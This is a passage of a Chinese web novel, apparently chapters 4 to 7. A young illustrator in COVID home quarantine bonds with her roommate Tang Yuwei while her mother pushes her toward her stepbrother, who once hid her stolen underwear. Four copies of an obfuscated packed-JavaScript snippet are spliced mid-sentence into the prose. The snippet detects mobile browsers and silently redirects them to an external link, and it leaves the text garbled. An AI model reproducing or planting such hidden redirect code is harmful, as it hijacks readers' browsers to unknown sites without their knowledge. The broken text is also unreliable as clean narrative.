我第一次高考落榜后曾偷偷去过他的学校,他们学校每次高考完都会张贴光荣榜,只要是考上本科的人都在那个榜单上。 我在那个榜单上看到了很多熟悉的名字,都是我的初中同学。 在初中和我关系很好的一个女同学考上了北京对外经贸大学。 我后桌那个姓葛的男生、还有我刚来县城初中时让我帮她写日记的女生都考了500多分,但他们上的什么学校,我现在已经忘记了。 还有初中时一个学习特别好的男生考了哈尔滨学院,我当时很震惊,因为这个男生真的学习特别好,,我还跟他做过同桌,当我还在为几道数学大题吭哧瘪肚的时候,他已经把数学卷写完了。 看到昔日的初中学霸考得这么差,我心里往下一沉,因为我直到现在都没有看到我想看的那个名字。 直到我看完光荣榜的最后一行,我也没有看到他,这个时候我的心已经有点放空了。 回到家之后我点开亲戚家那个孩子的□□(按辈分他得叫我一声小姨),和他旁敲侧击。 我这才知道我喜欢的这个男生在高中时不好好学习和别人谈恋爱,还在网吧包夜打游戏,最后考上了一个专科。 我还在喜欢他,固执地停留在初中时那段相互暗恋的岁月里,但他已经像一匹脱缰的野马一样,往我无法预料的方向脱肛狂奔了。 与我遇到的这些曾经的学霸相比,刘执玉是真真正正的学霸,长得又高又帅,按理来说,我应该恋爱脑发作一下。 但经历过中考的失败和高考的落榜后,我对这种学霸只有深深的敬畏和羡慕,因为我觉得自己永远都长不出像他这样聪明的脑子,所以在这些人面前,我是有点自卑的。 有些人在自卑中可能会诞生出一些爱情,但我不会,我只会诞生出对自己的失望和无力,继而烦躁的想要骂人。 唐雨薇已经吃了一大碗土豆炖鸡心鸡肝,这几天在隔离期间内熟悉起来,我现在打视频已经不怎么回避了,直接往客厅的沙发上一坐,看着视频里穿着绿色衬衫的我妈。 我妈说道:“你工作找的怎么样了?” 我说:“妈,我还在居家隔离呢。” 我妈:“刘执玉研究生一毕业就找到工作了,这孩子挺优秀的,我看挺靠谱的。” 我说:“妈,你别试图撮合我跟他了,就算我喜欢人家,人家也不一定能瞧上我呀。” 我妈:“你俩现在不是挺和睦的吗。” 我说:“表面功夫谁不会做,现在大家不都挺成熟的么。” 我上大一的时候他读大三,寒暑假会回家住一段时间,大家一张桌上吃饭,总不能一直冷眼相对,但我们说话的时候还是不多,我经常猫在房间里画画码字,就吃饭的时候才出来。 我偶尔也会回到乡下老家找我爸,离婚之后,我爸总是愁云惨淡的,家里的氛围也愁云惨淡,爷爷奶奶见我回来特别高兴,专门买了一条鱼给我炖了。 我爸话很少,不知道是不是很多家庭像我们家一样,父女之间都是不怎么交流的。 村子里总是有很多风言风语的,村东头放个屁,村西头立马就能听见。 我妈踹掉我爸攀了高枝这事儿,当时在村子里闹得风风雨雨,在我爸这边的亲戚里,我妈的名声已经臭不可闻,俨然成为了一个嫌贫爱富的拜金女。 还记得当初我妈想离婚的时候,各种七大姑八大姨轮番地劝着我妈,说原配夫妻不能离婚,半路夫妻过不到一起去,带着女儿嫁过去也不方便,而且我都已经挺大了,长得又不错,万一后爹手脚不老实怎么办。 我妈觉得很有道理,就向他们借钱。 然后他们找到我,劝我别读书了...... 我当时都傻了,心想总不能为了读书的事让我爸妈离婚吧,就对我妈说不学画画也无所谓,大不了以后考个专科再专升本呗。 我妈不同意,她觉得我一定要上个本科,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138133|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕只是个二本。 我妈那段时间特别难受,但她想让我上大学的心实在是太强烈了。 学艺术就是很烧钱,像我们学美术的还要好一点,那些学音乐的简直就是个钞票焚化炉,一节课成千上万,一边给老师钱一边遭受老师的白眼,反正我学音乐的高中同学就是这么说的。 我拿着手机往餐厅那扫了一眼,唐雨薇正在猛猛干饭,我内心升起一股骄傲,突然找回了在乡下时喂猪的自信。 我拌的猪食永远都是最受猪欢迎的。 我妈说道:“我真觉得刘执玉挺好的,听说他这个干得好,一年能赚五六十万呢。” 我说道:“真干的好,未来年薪可不止这个数,说不定都能过百万呢,大把的女生让他挑,你在这瞎撮合什么。” 我妈说道:“这叫近水楼台先得月,你现在还小,不知道人间疾苦,不知道一个长得周正又能赚钱学历还高的男的是多么难得,” 我妈又说道:“你也是的,你大学也不说处个对象。” 我上大学的时候也有人追过我,但追了没两天就开始追我另一个室友了,因为我另一个室友比我更漂亮。 聊了一会儿之后我妈挂断了视频,我又去餐桌上吃饭。 吃了两碗大米饭和半盘土豆炖鸡肝鸡心,唐雨薇的脸色明显好多了。她饭品很好,吃菜只夹自己那边,一看就是特别有教养的女生。 我吃了一颗鸡心,她喝了一口水,抬头问我:“你不喜欢你妈说的那个男生啊。” 我说道:“我妈再婚,他算是我继兄。” 唐雨薇说道:“又没有血缘关系,字节的发展前景还是很不错的。” 我又吃下了一颗鸡心,扶额,歪头,苦笑:“他偷过我内裤。” 唐雨薇的表情立马变了,像是吃了个苍蝇。 那是我高考后的事了。 那时候刘叔去沈阳看望他生病的二叔,得待个两三天才能回来,家里就我和我妈,我就把脱下来的内裤放进洗手间的蓝色水盆里。 我是个重度拖延症,干什么事都得拖一会儿,就比如洗内裤这种事,也打算看完小说后再洗。 然后我看完小说之后又和同学出去逛街,逛街的时候正好赶上李宁运动装大甩卖,就买了一件绿色的运动短裙和一件蓝色的网球裙。 反正我回到家的时候天已经黑了,开门的时候地垫上多了一双白色的男士运动鞋。 刘执玉那个房间的门半开着,隐约有敲键盘的声音传过来。 我一看有男的回来了,立马去卫生间准备把我那条内裤给洗了,结果我拖出水盆一看,里面的内裤已经不见了。 这时候我也没多想,以为我妈看不过去把我内裤扔了。 因为我妈很烦我这个拖延的臭毛病,她也不是那种会帮女儿手洗内裤和袜子的妈妈,遇见我没来得及洗的袜子内裤会立刻扔进垃圾桶,然后再把我臭骂一顿。 我此刻竟然庆幸刘执玉回来了,我妈是个很容易被其他事情分散注意力的人,她一定是看刘执玉回来不想在外人面前骂我,或者是把骂我这件事给忘了。 总之我是不会在她面前提起这件事,主动给自己找骂的。 就是很可惜那条我新买的内裤。 十七八岁的年纪正是最有少女心的时候,就连买的内裤是粉色蕾丝带白色小翅膀的,批发城老板娘说这款卖的特别好,就剩这最后一条了,便宜点9块钱卖给我。 我上大学的前一星期,刘叔准备装修,打算把家里的墙全部粉刷一遍,我正好闲的没事干,就在家里帮着他们收拾。 我妈和刘叔去选乳胶漆,出门时她又指挥我给屋子里的床和沙发包上塑料膜,于是我拿着塑料膜打开了刘执玉的房门。 我妈让我整个床垫都包住,避免粘上刷墙时掉下来的漆,我任劳任怨地掀起了刘执玉的床垫。 床垫底下,是我那条失踪的内裤。 唐雨薇震惊了。 5. 第 5 章 不知道其他女生面对这种状况的时候会是什么样的反应,反正我只是嘶了一声,脑中划过一句:“原来他是这样的人啊。” 除此之外,我就没有什么太大的情绪波动了。 我的脑袋像机器般运算着,各种权衡利弊。 我毕竟寄人篱下,艺考培训都是刘叔掏钱,上大学还得刘叔掏钱,我是不能闹的,因为他肯定向了自己的亲儿子,况且这事闹开了对我也没什么好处,只会被人知道我被男的偷了内裤...... 我也不可能和刘执玉对质,问他为什么要偷我内裤,因为一个男的偷女的内裤就是那么点癖好,万一他倒打一耙,说是我把内裤塞在他床板下面的,按照人们对品学兼优好学生的刻板印象,我肯定会吃亏。 我在集训的时候压力太大(因为复读之前并没有美术基础),每天都在崩溃中崩溃,某天心血来潮就去做了一个粉色挑染,回来后在小县城里转了一圈,逛街的时候遇见了几个熟人,过了一阵就有人说我没考上大学,去大城市的ktv做陪酒女去了。 我把床垫放下了,就当做没发现这件事,因为我觉得一旦被人知道这件事,各种麻烦就会接踵而至。 而且我实在是太累太累了,我的精力已经不足以让我应对任何一个微小的风吹草动了,我就想抱着西瓜坐在风扇前看电影,吃饱了就睡,睡饱了再吃。 我甚至是觉得刘执玉这个人很二逼,偷我内裤就偷我内裤,要么好好藏起来,要么找个垃圾桶给扔了,大刺刺的放在床垫底下怎么回事,故意等着人发现给别人造成困扰吗? 然后我平静的退出了他的房间,从冰箱里掏出半个西瓜,又开始拿着勺子挖挖挖,一边挖一边用刘执玉淘汰的笔记本电脑看秦时明月。 你瞧,我现在还使着人家不要的二手笔记本电脑呢,又有什么资格和人家翻脸。 总之,用唐雨薇的话来说,我的一切反应都实在是太平淡了。 我问她:“其他女生遇到这种事会是个什么反应?” 唐雨薇一边刷碗一边说道:“至少会被恶心到半天睡不着觉。” 我叹气:“也不知道怎么回事儿,反正自从初中之后,我的各种情绪好像也被我的拖延症感染了似的,总是姗姗来迟,用我们东北话来说,就是后反劲儿。” 唐雨薇洗完了碗,用毛巾擦干净手,走过来摸了摸我的头。 她穿着奶黄色的小飞袖长睡裙,睡裙上印着红色的樱桃,一头栗棕色的长卷发用和睡裙同样布料的方巾发圈扎在脑后,特别温柔。 这件很有青春气息的奶黄樱桃田园风睡裙的领口有点低,她俯过身摸我脑袋的时候,我看到了她的胸。 女人对女人之间没什么防备,不会因为睡裙走光就怎样,但不妨碍我的震惊,我震惊地看着她的雪白和丰腴,那股淡淡的伤春悲秋立刻消散了。 我几乎下意识地低头,使劲看了看自己的胸,我1米65,唐雨薇1米71,我的体重是103斤,唐雨薇的体重是98斤,她比我高比我瘦,还比我瘦了5斤,但凭什么她有这么丰满漂亮的胸!!! 凭什么!!!!!! 我的动作实在是太明显了,唐雨薇也一脸尴尬,我抬手摸了摸自己的胸,声音大了起来:“为什么你有胸啊?” 唐雨薇:“我为什么不能有胸啊?” “不是,”我震惊地看着她,“你这个身高和体重,你应该是一马平川才对啊,你这都快C了吧?” 唐雨薇邪魅一笑,抬手拢紧了宽松的过膝睡裙,于是我面前出现了一个妖娆的S。 “不是,有胸就算了,你怎么还有屁股啊!”我上手捏了捏,她的臀翘翘的,摸起来DuangDuang的,“是天生的还是后天的?” “天生身材好,”唐雨薇很得意,“我练了十几年的芭蕾。” “那你后来怎么不练了?” “差点天赋,我还是更适合写文。” 她表情透露出一丝淡淡的、我也形容不出来那是一种什么表情的表情。 我觉得这背后肯定有可深入挖掘的故事。 唐雨薇不是那种随便就能对人敞开心扉的人,除了刚见面喝醉的那个晚上,她说什么话都点到为止,不像我和肥猪满圈那样,一碗油泼面下肚,都能把小时候炸牛屎的事情给交代了。 我也不是那种刨根问底的人,我的性格有点钝,经常慢半拍,反射弧也有点长,被刀割了手,好一会儿才知道疼,肥猪满圈说我有点像水豚。 我岔开了话题,“明天早上咱们吃什么?” 唐雨薇想了会:“米饭还剩点,做米粥,我再煎两个鸡蛋。” 我点头,“行,那我回房间画画去了。” 她也点头:“嗯,我也该去码字了。” 这会我们还是君子之交淡如水,属于身体距离近,心灵距离远,熟悉了一些但是又没有特别熟悉,只能算是室友的关系。 直到唐雨薇后背起痘。 唐雨薇特别白,全身上下肤如凝脂,既没有汗毛也没有鸡皮疙瘩,和我这种从北方过来的糙汉女子完全不一样。 也许是居家隔离的日子让她有点上火,她后背开始起那种火疖子一样的痘,又红又肿,一碰就疼,还冒着白尖儿。 她码字的时候后背得靠着椅子,一碰到背上的痘,立刻疼的龇牙咧嘴。 身上经常起痘的朋友们都知道,有些痘不挤出来就会一直疼下去,而且好的很慢,到最后甚至会演变为扎在毛孔里的一个大黑头。 而我是挤痘小能手,大学四年我左手碘伏,右手粉刺针,承包了室友身上的所有痘痘,我的手法稳准狠看,就连隔壁寝室和对面寝室也闻名而来。 挤痘一上头,还把陶瓷专业一位美女师姐的大块耳屎给拽出来了,我甚至还帮室友的女朋友挤过痘,在她一包辣条和一杯蜜雪冰城的贿赂下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138134|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还特别热情的把她女朋友鼻子上的黑头挤出来了。 后来我就出了名,她们都叫我鹿嬷嬷,每次我给她们挤痘,她们都会泪眼朦胧龇牙咧嘴的喊尔康。 对,没错,热爱挤痘的人总有一颗蠢蠢欲动的心,看见全身是痘的人就像发现了金矿。 唐雨薇撩开睡衣趴在床上,露出满是脓包型痘痘的后背。 我的嘴都快笑到耳根了,但我还是故作矜持地微蹙着眉头,对着她的后背叹气,“一定要挤吗,挤痘真的非常疼的,其实忍一忍也不是不可以的哟。” 唐雨薇趴在枕头上咬牙:“不,不,我已经下定决心了,就算留疤我也要把它挤出来,不能再这么疼下去了。” 她下了床,找出了两根粉刺针,是她平时挤鼻子上的黑头用的,她药箱里还有酒精和碘伏,甚至还有一瓶双氧水。 我用酒精将粉刺针消毒,瞄准了她后背上那个冒着白尖的大痘,我凭着多年经验瞄准位置将粉刺针扎了进去,清除脓液后开始挤痘根。 想要把痘挤干净,必须得把里面的白色痘根给挤出来。我这种先天挤痘圣体无所畏惧,按住唐雨薇后背,两个大拇指尖狠狠用力。 唐雨薇发出一声凄厉的惨叫,白色的痘根也顺利被我挤了出来。 那白色痘根实在很壮观,我把它放在面巾纸上时,唐雨薇都愣了一下,我颇有成就感,开始下一个。 唐雨薇的后背一共起了六个痘,我心狠手辣,过五关斩六痘,将所有的痘根都挤了出来。 我正准备大功告成,她突然嘶了一声,微微抬起腰,“唉,我腰上也有一个。” 她腰上那个痘也冒白尖了,是一个成熟的痘了。 我欢欣不已,开始下手。 唐雨薇疼的直冒眼泪,挤她腰侧那个痘时,她总是拿手推我,腰还一弹一弹的。 我从来没见过这么不配合的人,只好说道:“你忍一忍。” 她惨叫连连:“我腰侧特敏感,一碰就软,根本忍不了。” 我们当时都是大直女,思想很纯洁,尤其是我,一个刚毕业的女大学生,眼神里都是清澈的愚蠢,思想道德也没有滑坡,听她这么说,我还上手摸了一下。 她的腰真是又细又滑啊,一丝赘肉也没有,而且体温偏凉,摸上去凉浸浸的,手感贼好。 我还没来得及夸她,见证奇迹的时刻就来临了,她的腰弹了一下,上半身唰的一下红了。 “我靠!好牛啊!你变色龙吧!” 我发现新大陆似的发出了三连叹,趁她不注意,飞快地将痘根给挤了出来。 很久很久之后的某一天她和我说,我摸她腰的那一下,手法特别的轻佻下流。 在那电光火石的一瞬,她怀疑我是女同,我在故意占她便宜,然后我的三连叹立刻打消了她的猜测。 她不觉得我是女同了。 她觉得我是个缺乏边界感的二币。 6. 第 6 章 后来她再提起这件事儿,我就举双手发誓,我说当时对她真的是一点邪念也没有。 一个直女怎么会对另一个直女有邪念呢! 更何况那会儿我还经常梦见初中时喜欢的那个男生。 梦里面他开了一个果园,果园里全都是又大又黄的橙子,我们俩坐在沙发上,我问他有没有结婚,他说他已经结婚三年了。 我经常能梦见他,最常出现的场景还是初中的时候,他翻着书,我抬头看他,他看向我,我就移开目光,假装看着窗外的树。 窗外的树郁郁葱葱的,风一吹,树叶和树枝轻轻摇晃,发出沙沙的声音,好像又回到了那年的夏天。 我因为总是梦到他还打开小红薯搜索,评论区里有人说这是我们今生缘分未尽,还有未了的纠缠,但我们在现实生活中并没有相遇,所以就在梦里把这段缘分用完。 我觉得边界感这事跟地域有关。 比如东北,我们东北的大多数澡堂子都是没有隔间的,南方人来我们东北澡堂子洗澡都能吓死。但也有例外,我大学宿舍室友她哥是四川人,在黑龙江念大学,第一天去大学澡堂子就像逛窑子,眼睛冒着兴奋的红光,晚上睡觉差点把被子顶到外太空。 从此之后他一不开心就去澡堂子洗澡,东北是个空气很干燥的地方,夏天频繁洗澡是没问题的,但是冬天频繁洗澡,特别是洗完澡之后不擦护肤乳,那就有点儿危险了。 后来我听说这位哥得了湿疹,湿疹是皮肤屏障功能受损引起的。我觉得这位哥应该是把自己洗秃噜皮了。 我来南方念大学的时候,就发现南方同学普遍比较含蓄,比如在东北,我可以随便和一个路人聊起来,就连取快递的时候都能和身后的大爷大妈美女帅哥聊两句。 但是在南方就不行,在南方你随便找人搭话,人家会把你当成精神病。 而且去南方一些城市问路的话,一定要找当地年轻人或者比较面善的中年人问路,因为一些年纪比较大的会故意指错路,这都是我的血泪经验。 我在南方读大学的时候,大家都觉得我有社交牛逼症,但没有人知道我在东北的时候,亲朋好友对我的印象都是不爱吱声,一提起我就说“那个不爱吱声的谁谁谁”。 我刚来我们大学的时候,我每说几句话室友们都会笑作一团,有一次我们打车去外面吃饭,下车的时候我忘解安全带,我室友问我怎么还能忘解安全带呢,我说我要把车背走。 然后她们就笑得东倒西歪,一个个直不起腰,我矗立在她们中间,一脸迷惑,然后她们一看见我的脸,又娃哈哈娃哈哈地笑。 反正唐雨薇是不太理解我摸她腰这个行为的。 她也不知道我上高中的时候天天拍女同学屁股和被女同学拍屁股,大家课间打闹的时候还互相袭胸,比谁的胸更大。 我给她挤完痘,又拿碘伏重新消毒,最后又涂上了夫西地酸软膏。 唐雨薇有很多药膏,一管一管的,什么多磺酸粘多糖乳膏、什么克立硼罗软膏、积雪苷霜软膏、维a酸乳膏、尿素软膏、水杨酸软膏、人表皮生长因子凝胶、炉甘石洗剂、莫匹罗星软膏、阿帕达林凝胶、甲硝唑凝胶、还有我看不懂的一些英文包装的药膏。 “你咋这么多药膏?” “一换季皮肤就容易有点小毛病,”唐雨薇叹气,她抽出一张纸擦了擦挤痘时疼出来的眼泪,“你下手也太狠了,半条命都没了。” 唐雨薇的腰真的不能碰,过了很久她的脸都是红的。 人和人之间真的有很大的不同,比如说我的腰也挺敏感,但是别人一碰我的腰,我就会变成一只大鹅,发出嘎嘎嘎的笑声。 不像唐雨薇,一碰腰就眼含春水,全身泛红,趴在枕头上半天起不来。 过了两天,她腰两侧又冒出了几颗痘,也是那种冒着白尖的脓包痘,疼得她辗转反侧咬牙切齿,只好含恨求助于我。 我又快乐地给她挤痘。 我知道唐雨薇腰侧敏感之后动作刻意粗暴了起来,我觉得人在过度的痛感下是很难有什么敏感反应的,于是在挤痘的时候铆足了劲。 然后她又全身通红的在床上痉挛。 我觉得是疼的。 她说你觉得是就是吧。 转眼间已经是居家隔离的第十天,在挤痘之后,我们俩的关系飞速升温。 这种升温不是说一下子就变得热情似火如胶似漆了,而是某种隔阂突然被打破的感觉。 我觉得这可能是跟脱衣服有关。 衣服是人体的遮羞布,赤身相对后会有一种微妙的破窗效应,类似于反正都被她看光了,那再熟稔一点也无所谓。 当她这么对我说的时候,我是相当震惊的。 我说你们上海人怎么这样啊,非得脱了衣服彼此看了一遍才能熟悉起来吗? 唐雨薇深吸一口气,一边翻白眼一边喝了口咖啡。 她动作很优雅,穿着浅绿色挂脖长裙,一头栗棕色长发在阳光下发着光,脚上的浅灰色镶钻细带拖鞋挂在她雪白的脚背上,脚上做了粉色美甲,上面还镶嵌着施华洛世奇水晶,在阳光下闪耀着尊贵夺目的火彩。 她手里拿着一个蓝色的杯子,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138135|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面雕刻着冰花似的纹路,阳光穿过那个杯子,在她手背上投下一圈钻石般的蓝色的光,就像万花筒似的闪来闪去。 屋子里飘荡着淡淡的咖啡香气,她咽下咖啡,扬起修长洁白的脖颈,发出一声轻轻的喟叹。 差点被她装到了——如果我不知道杯子里是一块钱一包的雀巢速溶咖啡的话。 唐雨薇是个必须喝咖啡的人,她不喝咖啡就会偏头痛,精神萎靡一整天。 速溶咖啡是我和楼上邻居用蔬菜包里的两根黄瓜换的,运送方式是两根绳加一个宜家的白色洗澡篮子,辅以消毒水喷洒,完成无害化运输。 我盯着她看了好几眼,觉得那个杯子出的光芒特别漂亮,就顺口问了一句。 她轻轻放下杯子,说什么江户切子。 我表示没听过,我只知道江户川柯南。 她露出一个吃鸡蛋黄被噎住的表情,放下杯子去码字了。 每当唐雨薇码字的时候,我都有点害怕。 唐雨薇长得很漂亮,平时都特有古典美,看起来温温柔柔的,但她码字的时候总沉着个脸,身上阴气特别重,像一个充满怨气的女鬼。 有时候码着字呢,她会突然开始砸键盘,哐哐哐的,特别吓人,每当这个时候我连气都不敢喘,只敢拿眼珠子偷偷瞄她。 她表情特别吓人,让我觉得她不是在码字,而是在杀人。 我俩熟悉起来之后经常在一个屋子里看电影。 写小说的都知道拉片。 拉片就是拆解影片,理解电影是如何被创作的,然后再分析分析镜头语言和叙事节奏。 看电影很有意思,但拉片非常枯燥繁琐,她摊开笔记本,戴着防蓝光眼镜,一边在本子上写写写,一边拿着笔记本敲敲敲。 她有两个笔记本,一个是银白色的外星人游戏本,一个是银色的苹果笔记本。 外星人笔记本放的电影,苹果笔记本上面是一个我不认识的软件,她的双手挥舞成道道残影,噼里啪啦地在那写笔记,时不时跟我说一些人物啊、设定啊、镜头啊、语言、文学啊、艺术啊什么的助眠文字。 说着说着我就睡着了。 她会抽空拿着笔捅咕我一下,然后我一个激灵后又重新坐起来,瞪大眼睛看着电脑屏幕。 唐雨薇的主卧全都铺上了地毯,是那种浅米色的厚毛地毯,每次拉片儿,她都会把客厅的茶几拖到卧室里来,然后拉上窗帘,点开台灯,营造出一种黑不隆冬的氛围,有时候还会点上一个香薰蜡烛。 她拉片拉得很认真。 我也睡得挺开心的。 7. 第 7 章 我最终还是学会了拉片。 因为我不能每次都睡得那么沉,唐雨薇还会把她的拉片笔记发给我看,至于她那个记满了英文的笔记本,她问我要不要看。 我大学勉强过英语六级,读个英文说明书都磕磕绊绊的,怎么可能看懂他她个写满了英文的笔记本,于是我立刻婉拒了。 但在她的耳濡目染之下,知识终究以一种蛮横的方式灌入了我的脑袋,具体表现为我写文的时候,评论区的一些读者开始夸我的文字有电影感了。 我的码字收入开始提高,每个月能赚三四千。 我的主要收入来源依旧是绘画,不知道是不是我命特别好,总有富婆找我约稿,有一个富婆养设,隔一个月就会找我约稿,她对稿件的精细程度要求很高,收费都在2000以上。 我码字+画画,每个月的收入大概在15,000~22,000之间,如果我特别勤劳,可以破3。 至于唐雨薇的收入,怎么说呢,就算她什么也不干,她残灯孤影那个马甲号每天都有300~400的稿费进账,至于她的大号叙世,每天都有2000+的稿费入账,如果她开文,新文带动旧文,每天过15,000很轻松。 她说自从她成名之后,月收入就没有低过6万。 然后她还炒股,她大学和研究生都学的金融,炒股还有一套,她说她炒股赚的钱比稿费多。 人无法赚到认知以外的钱,比如我,我就没法炒股,顶多买点基金。 唐雨薇本科复旦,去普林斯顿读的研究生。 我挠挠头,我说普林斯顿啊,我怎么没听过啊,你怎么不上哈佛和剑桥啊? 学渣嘛,对外国的大学一问三不知,只知道哈佛和牛津,顶多再加上一个剑桥。 她又叹了口气,露出了关爱智障儿童的目光。 我偷瞄了她一眼,还是拿着手机虚心百度去了,百度完之后我沉默了,坐在沙发上看她。 “你这么牛逼你怎么不早说!” “很牛吗?”她换了一个杯子,长得跟榴莲似的,外面全是尖尖,也不知道她拿着扎不扎手,她优雅地喝下一口速溶咖啡,缓缓叹息,“我只是一个身体和心灵都饱受摧残的废物罢了。” “你怎么不去国外发展,我上网搜了一下,他们说这种大学毕业的一年能赚二三十万美金呢。” “哪有那么夸张啊,中国的做题家和美国的做题家没什么不同,平均每人税前收入10万美金左右吧。” 我发现唐雨薇特别有意思,很能向下兼容,她一开始都说多少刀,发现我有点听不习惯,她就很快改成美金了。 “10万美金那还不多啊,六七十万了一年。” 唐雨薇又露出了一个疲惫的微笑。 她读完研究生毕业后身体很差,回国之后休养了很长一段时间。 那段时间她甚至站不起来,需要做轮椅,上厕所都得由保姆和护工扶着,她妈还请人到家里给她驱魔。 东北有跳大绳和出马仙,上海,呃,我只能说这是一个高端的城市,各方面都很高端,不愧是国际化的大都市,国际接轨接的挺好,居然管这叫驱魔。 我小时候生病,我们村有个卖豆腐的,就住在我家前面,卖豆腐的老板姓付,他老婆叫木珍,会写聚魂码。 她用一个碗倒扣在黄色符纸上面,碗底是朱砂,她用毛笔蘸着朱砂画符,画好的图纸会被大人烧成灰给我们拌水喝。 我喝完之后一两天就会痊愈,真的很神奇。 我们村还有一位四娘,也会用这种很神奇的方式看病,但她画符不用朱砂,而是用香灰。 后来长大之后,我为了写文查了一些资料,才发现这些看病方式可能都是祝由术的一种。 我现在强壮的像个牛犊子,但我小时候真的是体弱多病,刚出生不久就喘不上气儿,我爸和我妈骑着摩托把我拉到县里的医馆,老医生用三棱针给我放血,手指头和脚趾头都扎的血乎乎的 我妈一路求医问药,科学玄学两手抓,哪样都不放过。 唐雨薇的妈妈也是科学玄学两手抓,只能说怜子之心甚苦,天下当妈的女人都很不容易,为了自己的孩子什么都愿意试试。 我问唐雨薇在国外遭遇了什么,身体居然差成这样,唐雨薇说她饮食不规律,再加上压力很大,吃了一些抗焦虑抑郁的药物之后代谢出了问题,身体严重缺乏维生素b12,导致了神经损伤和疼痛。 好在她意志坚定,坚强地完成了学业。 她在毕业的第二个月后的某一天,正准备去实习公司上班,下楼的时候膝盖一软,突然跪在地上,然后就站不起来了。 她妈把她接走,带她回国休养。 唐雨薇的妈妈是一个非常精明强干的生意人,做服装生意,靠在淘宝卖女装发家,成功吃到了时代红利。 唐雨薇的家也是重组家庭,她妈离婚后来上海求生,遇见了有钱的男人,两人就在一起了。 聊着聊着就说起了我,我说我这一生乏善可陈,唐雨薇说道:“我觉得挺好的,幸福的人生是没有太多波折的。” 隔离期间,唐雨薇经常和她的妈妈打视频,我压根听不懂她们在说什么,有一次正好碰上我妈也给我打视频,我妈一脸疑惑:“你室友在叽里咕噜的说什么呢?” 我说:“我也听不懂,这是魔鬼的语言。” 我妈哈哈笑,笑着笑着又开始说起刘执玉。 我妈执意撮合我和刘执玉,有时候拐弯抹角的撮合,有时候大摇大摆的撮合,因为在我妈眼里,刘执玉真的是好的不得了的人。 我有点心累:“你要再这样,我就不给你打视频了啊,你每次说起他,我都有点烦,你不知道咱们这种重组家庭人物关系特别敏感吗,你怎么想的,居然还撮合我和他。” “知不知道女人的黄金年龄就这几年,22岁和32岁找的对象能一样吗,你现在是花骨朵,再过几年就是老帮菜,男人越老越值钱,女人越老越不值钱。” “妈,我觉得你说的有道理,但并不妨碍我每次听你这么说我都特别烦。” 我妈不说话了,开始换话题了,“今天你们吃的啥呀,有没有好好做饭啊?” “我室友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138136|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的饭,好吃,想再吃点,但是我们已经没有菜了。” 像我妈这种爱囤货的人是没法理解什么叫“没有菜了”的,她买大白菜都是上百斤的买,我记得我小时候她买了200斤的白菜腌酸菜,找来一堆村子里的叔叔婶婶,一帮人穿着黑色的雨靴,在一堆白菜上面踩踩踩。 我妈说:“是不是物资被克扣了,我看新闻了,哎呀咋能这么办事呢。” 我看了一眼坐在沙发上打视频的唐雨薇,竖起一根手指放在嘴唇上,“妈你别说了,这个话题太敏感了。” 我妈看着我:“那我再给你打点钱吧。” “打钱也没用啊,我室友比我有钱多了,还不是得跟我一起饿肚子。” 我妈打量着我:“你瞅你,下巴都尖了,你还是胖点好看。” “妈,你养猪的时候也这么说的,你看啥都是胖点好看。” 沙发那边传来一声爆笑,我转头一看,唐雨薇正躺在沙发上看着我。 她穿着蓝色碎花吊带睡衣,睡裤堆在她腿根,两条长腿搭在沙发后背上,带着荷叶边的吊带往上面跑了一截,露出一块雪白雪白的肚皮。 蓝色可真显白啊。 我收回目光,和我妈胡聊了几句之后就挂断了视频。 我坐在沙发上,唐雨薇咕涌过来,往我大腿上一枕,让我帮她看看脑门上的一颗痘。 我有些震惊,还有些恍惚,因为才短短十几天,她居然可以这么自然而然的枕我大腿了,要知道上一个枕我大腿的人还是Lucky。 —— Lucky是我家猪圈里唯一的一头黑猪。 居家隔离这段时间,我俩已经熟的不能再熟了,她甚至会半夜敲我门,把躺在床上玩手机的我拽起来陪她一起拉片儿。 我俩的作息在隔离的时候彻底乱了套,有时候一两点才睡,有时候四五点睡,有时候熬整夜,六七点再睡。 